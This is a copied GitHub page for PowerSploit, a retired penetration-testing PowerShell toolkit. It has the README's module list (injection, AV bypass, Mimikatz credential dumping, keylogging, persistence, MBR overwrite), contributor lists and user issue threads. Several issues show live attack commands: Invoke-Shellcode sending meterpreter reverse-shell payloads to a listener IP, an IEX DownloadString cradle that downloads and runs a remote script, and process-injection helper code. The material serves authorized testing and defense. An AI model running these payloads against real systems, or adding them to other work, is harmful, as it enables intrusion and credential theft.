Git Product home page Git Product logo

powersploit's Introduction

This project is no longer supported

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts:

CodeExecution

Execute code on a target machine.

Invoke-DllInjection

Injects a Dll into the process ID of your choosing.

Invoke-ReflectivePEInjection

Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.

Invoke-Shellcode

Injects shellcode into the process ID of your choosing or within PowerShell locally.

Invoke-WmiCommand

Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel.

ScriptModification

Modify and/or prepare scripts for execution on a compromised machine.

Out-EncodedCommand

Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script.

Out-CompressedDll

Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory.

Out-EncryptedScript

Encrypts text files/scripts.

Remove-Comment

Strips comments and extra whitespace from a script.

Persistence

Add persistence capabilities to a PowerShell script

New-UserPersistenceOption

Configure user-level persistence options for the Add-Persistence function.

New-ElevatedPersistenceOption

Configure elevated persistence options for the Add-Persistence function.

Add-Persistence

Add persistence capabilities to a script.

Install-SSP

Installs a security support provider (SSP) dll.

Get-SecurityPackages

Enumerates all loaded security packages (SSPs).

AntivirusBypass

AV doesn't stand a chance against PowerShell!

Find-AVSignature

Locates single Byte AV signatures utilizing the same method as DSplit from "class101".

Exfiltration

All your data belong to me!

Invoke-TokenManipulation

Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.

Invoke-CredentialInjection

Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon).

Invoke-NinjaCopy

Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.

Invoke-Mimikatz

Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz.

Get-Keystrokes

Logs keys pressed, time and the active window.

Get-GPPPassword

Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.

Get-GPPAutologon

Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.

Get-TimedScreenshot

A function that takes screenshots at a regular interval and saves them to a folder.

New-VolumeShadowCopy

Creates a new volume shadow copy.

Get-VolumeShadowCopy

Lists the device paths of all local volume shadow copies.

Mount-VolumeShadowCopy

Mounts a volume shadow copy.

Remove-VolumeShadowCopy

Deletes a volume shadow copy.

Get-VaultCredential

Displays Windows vault credential objects including cleartext web credentials.

Out-Minidump

Generates a full-memory minidump of a process.

Get-MicrophoneAudio

Records audio from system microphone and saves to disk

Mayhem

Cause general mayhem with PowerShell.

Set-MasterBootRecord

Proof of concept code that overwrites the master boot record with the message of your choice.

Set-CriticalProcess

Causes your machine to blue screen upon exiting PowerShell.

Privesc

Tools to help with escalating privileges on a target.

PowerUp

Clearing house of common privilege escalation checks, along with some weaponization vectors.

Recon

Tools to aid in the reconnaissance phase of a penetration test.

Invoke-Portscan

Does a simple port scan using regular sockets, based (pretty) loosely on nmap.

Get-HttpStatus

Returns the HTTP Status Codes and full URL for specified paths when provided with a dictionary file.

Invoke-ReverseDnsLookup

Scans an IP address range for DNS PTR records.

PowerView

PowerView is series of functions that performs network and Windows domain enumeration and exploitation.

Recon\Dictionaries

A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.

License

The PowerSploit project and all individual scripts are under the BSD 3-Clause license unless explicitly noted otherwise.

Usage

Refer to the comment-based help in each individual script for detailed usage information.

To install this module, drop the entire PowerSploit folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.

The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"

To use the module, type Import-Module PowerSploit

To see the commands imported, type Get-Command -Module PowerSploit

If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} }

For help on each individual command, Get-Help is your friend.

Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.

Contribution Rules

We need contributions! If you have a great idea for PowerSploit, we'd love to add it. New additions will require the following:

  • The script must adhere to the style guide. Any exceptions to the guide line would need an explicit, valid reason.
  • The module manifest needs to be updated to reflect the new function being added.
  • A brief description of the function should be added to this README.md
  • Pester tests must accompany all new functions. See the Tests folder for examples but we are looking for tests that at least cover the basics by testing for expected/unexpected input/output and that the function exhibits desired functionality. Make sure the function is passing all tests (preferably in mutiple OSes) prior to submitting a pull request. Thanks!

Script Style Guide

For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.

  • Avoid Write-Host at all costs. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles:

  • If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'.

  • Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license).

  • Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis.

  • I prefer that variable names be capitalized and be as descriptive as possible.

  • Provide logical spacing in between your code. Indent your code to make it more readable.

  • If you find yourself repeating code, write a function.

  • Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error.

  • If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible.

  • Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to.

  • PowerShell v2 compatibility is highly desired.

  • Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following:

    • [Parameter(Position = 0, Mandatory = $True)]
  • Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias.

  • Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break.

  • Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader.

  • Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement.

  • Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters.

  • If a script creates complex custom objects, include a ps1xml file that will properly format the object's output.

powersploit's People

Contributors

andyrobbins avatar breenmachine avatar byt3bl33d3r avatar cfalta avatar clymb3r avatar fixtheexchange avatar fuzzysecurity avatar garignack avatar hackjammer avatar hajdbo avatar harmj0y avatar hydrajump avatar jaredcatkinson avatar joncave avatar leechristensen avatar linuz avatar mattifestation avatar mbrancato avatar meatballs1 avatar mmashwani avatar monoxgas avatar mrande7son avatar obscuresec avatar pyllyukko avatar secabstraction avatar sixdub avatar st3r30byt3 avatar stufus avatar webstersprodigy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

powersploit's Issues

PowerView: Pester tests are leaving file artifacts behind

The following file artifacts are created and not cleaned up in Recon.tests.ps1:

  1. shares.txt
  2. targets.txt
  3. target_users.txt

By forgetting to remove these artifacts this could allow one of the PowerSploit contributors to inadvertently commit these artifacts - potentially leaking sensitive personal information.

Issue with Invoke--Shellcode.ps1

https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
$Proc = Get-Process explorer
Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_http -Lhost 192.168.16.245 -Lport 8080 -Verbose

When I use the above command to inject shellcode into the running process on Windows x86
it always occurs
Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.
I think Line337 should be
$64bitCPU = $false
and it will solve the probmlem:)

Cmdlet name best practices

Microsoft strongly encourages that cmdlet nouns be singular.

Some of the following cmdlets don't follow this encouragement:
-Get-LibSymbol
-Get-KeyStrokes
-Remove-Comments
-New-UserPersistenceOptions
-New-ElevatedPersistenceOptions

Of course this is all very minor, but an earlier comment regarding approved verbs brought this issue to mind.

Invoke-ReflectivePEInjection: Some test harness PEs don't work in XP.

Some of the 32-bit test harness binaries for Invoke-ReflectivePEInjection dynamically resolve ntdll!strcat_s which is not exported by ntdll.dll in Windows XP causing some Pester tests to fail. Invoke-ReflectivePEInjection is working fine in XP but I need for the tests to pass.

Unapproved Verbs

Grabbed the most recent version and I received this message when I imported the module:

The names of some imported commands from the module 'PowerSploit' include unapproved verbs that might make them less discoverable. To find the commands with unapproved verbs, run the Import-Module command again with the Verbose parameter. For a list of approved verbs, type Get-Verb.

So I did the verbose and it looks like this:
VERBOSE: The 'Inject-LogonCredentials' command in the PowerSploit' module was imported, but because its name does not include an approved verb, it might be difficult to find. For a list of approved verbs, type Get-Verb.

I know powershell doesn't typically think about "Inject" being an approved verb, so it's not a big deal really, but maybe use "Assert", "Register", or "Submit".

It's not a big issue, just thought I'd mention it.

Get-PEB does not return the environment variables

In Windbg !peb lists the environment variables for a process. e.g, for a chrome process:

. . . .
Environment:  007c05c8
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Users\Justin\AppData\Roaming
    ChocolateyInstall=C:\Chocolatey
    CHROME_ALLOCATOR=TCMALLOC
    CHROME_BREAKPAD_PIPE_NAME=\\.\pipe\GoogleCrashServices\S-1-5-18
    CHROME_METRO_DLL=0
    CHROME_RESTART=Google Chrome|Whoa! Google Chrome has crashed. Relaunch now?|LEFT_TO_RIGHT
    CHROME_VERSION=27.0.1453.94
    CommonProgramFiles=C:\Program Files (x86)\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=ECHO-BASE
    ComSpec=C:\Windows\system32\cmd.exe
    FP_NO_HOST_CHECK=NO
   . . . . . .

I'd like Get-PEB to do this, and I'd like an alias called Get-ProcessEnvironmentVariables that did a Get-PEB ProcessId | Select -expandProperty EnvironmentVariables

Here is a codeproject article on how to get environment variables from the PEB.

Invoke-Shellcode working with updated msf?

Hey there,

First off, big fan of a lot of your scripts on here. Really useful stuff. Myself and two other guys work on Veil, and we ran into an issue with powershell injection, and I think it may apply here too. I could be doing it wrong, but figured I'd at least ask and see your thoughts.

It looks like a recent update to MSF may have caused some problems with injection shellcode via powershell, either into itself, or another process. We tested powershell injection with an old version of MSF, and it worked, and then testing with the latest version, crashes for us. We originally thought that it may be a problem on our end, so to test that, I grabbed your Invoke-Shellcode script, formatted the msf shellcode properly for your script, and then tried injecting the shellcode into powershell, and then also into a notepad process I had running, using Invoke-Shellcode. Both attempts resulted in a crash of the process.

So, long story short, I COULD be doing it wrong, but never seemed to have an issue before when using Invoke-Shellcode, but it seems to crash now. I was curious if you were also able to re-create the crash. If you need more info from me, let me know in here, but I didn't do anything special besides giving it -Shellcode and then the shellcode (formatted as per your example in the script).

Issue with Invoke-Shellcode and Metasploit 4.11.0-dev.15168

Invoke-Shellcode crashes the target process when using Metasploit 4.11.0-dev.15168. I spun up a fresh ubuntu box and did a fresh clone of the metasploit-framework from Github. It appears that they updated something with the handler that causes strange output leading to a crash with Invoke-Shellcode:

msf > version
Framework: 4.11.0-dev
Console : 4.11.0-dev.15168
msf > use exploit/multi/handler
msf exploit(handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > exploit

[] Started HTTPS reverse handler on https://0.0.0.0:4444/
[
] Starting the payload handler...
[] 192.168.1.146:57054 Request received for /INITM... (UUID:5f0d77ffbf16b0d6/x86=1/windows=1/2015-04-14T03:22:58Z)
[
] 192.168.1.146:57054 Unknown request to /INITM #<Rex::Proto::Http::Request:0x00000008cc4bf8 @headers={"User-Agent"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "Host"=>"192.168.1.109:4444", "Connection"=>"Keep-Alive"}, @auto_cl=true, @State=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @Body="", @method="GET", @raw_uri="/INITM", @uri_parts={"QueryString"=>{}, "Resource"=>"/INITM"}, @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @uri_encode_mode="hex-normal", @relative_resource="/INITM", @body_bytes_left=0>...
^C[-] Exploit failed: Interrupt
msf exploit(handler) >

On the target machine, Powershell (or the process being injected into) crashes once the request to /INITM is made. This has been tested with both HTTP and HTTPS meterpreter payloads in Invoke-Shellcode on both x86 and x64 machines.

Still the issue with Invoke-DllInjection.ps1

Ahah
Still about this
#85 (comment)

"Run the following:
It returns '64-bit' then line 284 cannot execute."
I know it's meaning.
I use the 64-bit dll to inject into the 64-bit process notepad.exe,it occours PE file was not compiled for x86.
20151117164808294
But I change the Line 284,it success.
So I think when use it in 64-bit dll and 64-bit process,it can be this.
Thanks for your reply.

In-memory nuget support

It'd be cool and useful to be able to load dlls from a nuget package into the powershell appdomain. I think it could be done with out writing to disk. You simply make a http request for the nuget package, load it to a memory stream, unzip dlls from the memory stream into another memory stream, and LoadBytes() the dll.

PowerUp: Pester tests don't check for admin rights

Functions requiring admin rights should check for admin rights and throw accordingly if not present. That way, the reason a Pester test fails will be more obvious. Also, this way, tests designed to test specific behavior will actually check that behavior versus throwing exceptions for unintended reasons.

PowerUp: Pester tests are leaving file artifacts behind

The following file artifacts are created and not cleaned up in Privesc.tests.ps1:

  • RANDOM_8_CHARS.RANDOM_3_CHARS.exe

By forgetting to remove these artifacts this could allow one of the PowerSploit contributors to inadvertently commit these artifacts.

Portscan Example for Open

I couldn't find an example or way to do a Invoke-Portscan and only show hosts with open ports, is there an easy way to do that? Can it be added to the examples in the file?

Would shadowcopy support belong here?

Seems useful to be able to create a volumne shadowcopy to read locked files (i.e MDFs). I don't know how to do that without a DLL, but I never tried very hard.

Coding guidelines for out-null are sub-optimal

"Use Out-Null to suppress unwanted/irrelevant output."
Out-Null is the slowest way to dump unwanted output because it unnecessarily involves the pipeline. It is far faster to cast to [void] or assign the results to $null, which can make a noticeable difference when process things like like log files which may have a lot of output.

For example:
[void]$PsBoundParameters.Remove('Foo')
$null = $PsBoundParameters.Remove('Foo')

Invoke-Mimikatz win32_processor addresswidth unknown property

We're not sure if this is an issue with the ps1 or the version of powershell we were forced to use but we kept getting this error:
Property 'AddressWidth' cannot be found on this object. Make sure that it exists.
At line:2589 char:53

  •     if (((Get-WmiObject -Class Win32_Processor). <<<< AddressWidth / 8) -ne [System.Runtime.In
    
    al]:izeOf([Type][IntPtr]))
    • CategoryInfo : InvalidOperation: (.peratorToken) [], RuntimeException
    • FullyQualifiedErrorId : PropertyNotFoundStrict

We found that when attempting to run just (get-wmiobject -Class Win32_Processor).Addresswidth it returned nothing. In fact, any property returned null, even invalid ones. We did get a workaround eventually using the following:
((Get-WmiObject -Class Win32_OperatingSystem).OSArchitecture).Substring(0,2)

Again we're not sure if this is an issue with the script or powershell, but thought we'd bring it to the attention of people smarter than us.

FIPS Compliant Encryption Out-EncryptedScript

During a Red Team Op, we stumbled upon this:
If the Windows Machine has the FIPS compliance setting configured , the encrypted script will not run due to the encryption algorithm being used is not allowed on the system.

However, I was able to fix this by changing the encryption algorithm to a FIPS compliant. I used Triple DES and I was able to encrypt, decrypt, and execute the script.

These four lines are what I changed:
85: $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
...
87: [Byte[]] $KeyBytes = $DerivedPass.GetBytes(16)
...
110:[Byte[]] $e = $derivedPass.GetBytes(16);
111: $f = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider;

Get-PEHeader: Add Importing/ExportingModule to Dll Imports and Exports

How do you feel about adding an extra field with the module name to the objects representing Import and Export table items?

Maybe Importer and Exporter? Or ImportingModule and ExportingModule?

It would make it easer to process them in a pipeline.
Ex:
Get-PEHeader *.dll | % Imports | where FunctionName -eq realloc | where ModuleName -eq msvcrt.dll | foreach Importer

Get-PEHeader *.dll | % Exports | where FunctionName -eq realloc | where ModuleName -eq msvcrt.dll | foreach Exporter

I'd be happy to send you a pull request if you like the idea.

Invoke-WmiCommand: Remote command execution assumes powershell.exe in %PATH%

When executing the payload on the remote system, powershell.exe is executed without an explicit path. Invoke-WmiCommand will fail to execute on the remote system if the path to powershell.exe is not in %PATH%. I should assume that it won't be and obtain the full path from HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell\Path (REG_SZ).

Add-Persistence: Various bugs

I encountered two bugs:

  1. The payload would not write itself to the profile if the path to the profile does not exist. I need to explicitly create the directory if it doesn't exist.
  2. The payload would sometimes be garbled when appended to the profile

Invoke-ReflectivePEInjection: NtCreateThreadEx isn't exported in WinXP

This issue affects Invoke-ReflectivePEInjection and any code that relies upon it (e.g. Invoke-Mimikatz). Invoke-ReflectivePEInjection should not attempt to resolve the address for NtCreateThreadEx if it is running XP. NtCreateThreadEx is only ever used for Win Vista and Win 7 anyway. This will cause an exception to be thrown in XP.

Get-keyStrokes

I Tried compiled the script into EXE file and its works fine.
when used with any kind of Self-Persistance that invoke the EXE after process-termination the key-logging functionality stop work.

Add direct access to PE Imports and Exports

In my usage, I often need only the imports or only the exports in a PE. So instead of getting the whole header, I would like direct access to the tables.

Either like this:

Get-PEHeader -Imports # returning only the import table items
Get-PEHeader -Exports # returning only the export table items

or like this

Get-PEImports # returning only the import table items 
Get-PEExports # returning only the export table items

How do you feel about such a change?

/S

License should be clarified

Problem:

I'm trying to figure out what the licensing and redistribution is for PowerSploit, but I can't find a COPYING or LICENSE file in the repository.

I would have e-mailed directly but I can't find an e-mail address anywhere for author contact.

Suggested resolution:

I'm hopeful that you eventually decide favorably on the merits of a permissive license like BSD. :) That way Metasploit and PowerSploit can be friends (GPL won't make us foes but it will limit what all we can do together).

If you'd like to discuss this further off the issue tracker, I can be reached at [email protected]

x64 Detection using Get-ProcAddress

Within Invoke--Shellcode, things often fail on x86 systems. After some digging, it appears that $64BitCPU returns true; even on x86 systems.
screen shot 2015-07-21 at 11 11 21 am

Since $64BitCPU appears to always return true, I followed it down to see how $64BitCPU is being determined.

screen shot 2015-07-21 at 11 16 42 am

To test this, I copied Get-Win32Functions, Get-ProcAddress and Get-DelegatedType into a separate script. I then added the logic within Invoke--Shellcode "$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process". When running this script, it always returns a value on x86, instead of null.

Here is the script:

function local:Get-Win32Functions
    {
        $Win32Functions = New-Object System.Object

        $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
        $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
        $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
        $Win32Functions |  Add-Member NoteProperty -Name OpenProcess -Value $OpenProcess

        $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
        $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])
        $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
        $Win32Functions |  Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx

        $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
        $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])
        $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
        $Win32Functions |  Add-Member NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory

        $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
        $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
        $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
        $Win32Functions |  Add-Member NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread

        $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
        $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32])
        $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
        $Win32Functions |  Add-Member NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject

        $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
        $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
        $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
        $Win32Functions |  Add-Member NoteProperty -Name CloseHandle -Value $CloseHandle

        $GetLastErrorAddr = Get-ProcAddress kernel32.dll GetLastError
        $GetLastErrorDelegate = Get-DelegateType @() ([Uint32])
        $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate)
        $Win32Functions |  Add-Member NoteProperty -Name GetLastError -Value $GetLastError

        $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
        $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
        $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
        $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx

        # A valid pointer to IsWow64Process will be returned if CPU is 64-bit
        $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
        if ($IsWow64ProcessAddr)
        {
            $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
            $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
            $Win32Functions |  Add-Member NoteProperty -Name IsWow64Process -Value $IsWow64Process
        }

        return $Win32Functions

    }

function Local:Get-ProcAddress
    {
        Param
        (
            [OutputType([IntPtr])]

            [Parameter( Position = 0, Mandatory = $True )]
            [String]
            $Module,

            [Parameter( Position = 1, Mandatory = $True )]
            [String]
            $Procedure
        )

        # Get a reference to System.dll in the GAC
        $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
        $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
        # Get a reference to the GetModuleHandle and GetProcAddress methods
        $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
        # Get a handle to the module specified
        $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
        $tmpPtr = New-Object IntPtr
        $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

        # Return the address of the function
        Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
    }

function Local:Get-DelegateType
    {
        Param
        (
            [OutputType([Type])]

            [Parameter( Position = 0)]
            [Type[]]
            $Parameters = (New-Object Type[](0)),

            [Parameter( Position = 1 )]
            [Type]
            $ReturnType = [Void]
        )

        $Domain = [AppDomain]::CurrentDomain
        $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
        $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
        $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
        $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
        $MethodBuilder.SetImplementationFlags('Runtime, Managed')

        Write-Output $TypeBuilder.CreateType()
    }

$var = Get-ProcAddress kernel32.dll IsWow64Process
$var

Here is the output:
screen shot 2015-07-21 at 11 26 37 am

From my understanding, this should return $null on x86 systems. I'm not sure if this has something to do with the fact that it is a VM. My test environment is a full patched win7 x86 box running on VMware fusion with a Mac host.

Let me know if clarification is needed.

Thanks!
Matt N.

$Password not cleared in Get-GPPPassword

Thanks for this great script. While using the script i noticed the variable $Password isn't cleared in the loop. After finding one password it's repeated in the output until finding a new password.

declare blank variables

$Password = ''
$Cpassword = ''
$UserName = ''
$NewName = ''
$Changed = ''

Tuur

Invoke-Mimikatz processor detection Bug

The evaluation of processor architecture suffers from a flaw. Get-WmiObject -Class Win32_Processor returns an array on multi cpu systems.

the subsequent attempt to enumerate the AddressWidth property for division suffers

Get-SqlInstance a rough draft

I'm working on the vector of gaining access to the sql data and backup files. I have the beginnings of a function to list all SQL instances by iterating through the registry. I need to parse the master database file to get the list of all databases on the server (they may not be in the SqlRoot\Data subfolder. I also need to clean up this function and add a -ComputerName paramater. What do you think of it so far? Is the function inside a function kosher with you? Coming from javascript, that's a totally normal thing to do.

Would you like a more refined version of this in PowerSploit?

Add Get-TEB function

I'd like to make a feature request for a Get-TEB function. It should function similarlly to !teb in WinDbg.

session invalidity re: windows/meterpreter/reverse_https payload on Windows 8.1 x64

First off, just want to say that this seems like a fantastic project! Kudos! However, I'm having a bit of an issue trying to get a valid windows/meterpreter/reverse_https Meterpreter session from the target (Windows 8.1 64-bit). The Meterpreter sessions seem to only last moments before closing due to invalidity. For the sake of simplicity, I've not bothered with encoding the PowerShell script, and am instead executing the following within PowerShell itself: (Note that the payload is a copy of the Invoke--Shellcode module pulled down from master)

Host server (12.34.56.78) is Kali with the MetaSploit Framework: 4.11.4-dev-c399d7e.

PS C:\Windows\SysWOW64\WindowsPowerShell\v1.0> & {IEX (New-Object Net.WebClient).DownloadString('http://12.34.56.78/pay
load'); $app = Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden -PassThru; Invoke-Shellcode -ProcessId
$app.Id -Payload windows/meterpreter/reverse_https -Lhost 12.34.56.78 -Lport 8443 -Force -Verbose}
VERBOSE: Injecting shellcode into PID: 2316
VERBOSE: Injecting into a Wow64 process.
VERBOSE: Using 32-bit shellcode.
VERBOSE: Shellcode memory reserved at 0x045C0000
VERBOSE: Emitting 32-bit assembly call stub.
VERBOSE: Thread call stub memory reserved at 0x02A10000
VERBOSE: Shellcode injection complete!

So, cool. A Notepad process is started. So switching over to my Kali server running Metasploit...

msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.31.44.157    yes       The local listener hostname
   LPORT     8443             yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > exploit

[*] Started HTTPS reverse handler on https://0.0.0.0:8443/
[*] Starting the payload handler...
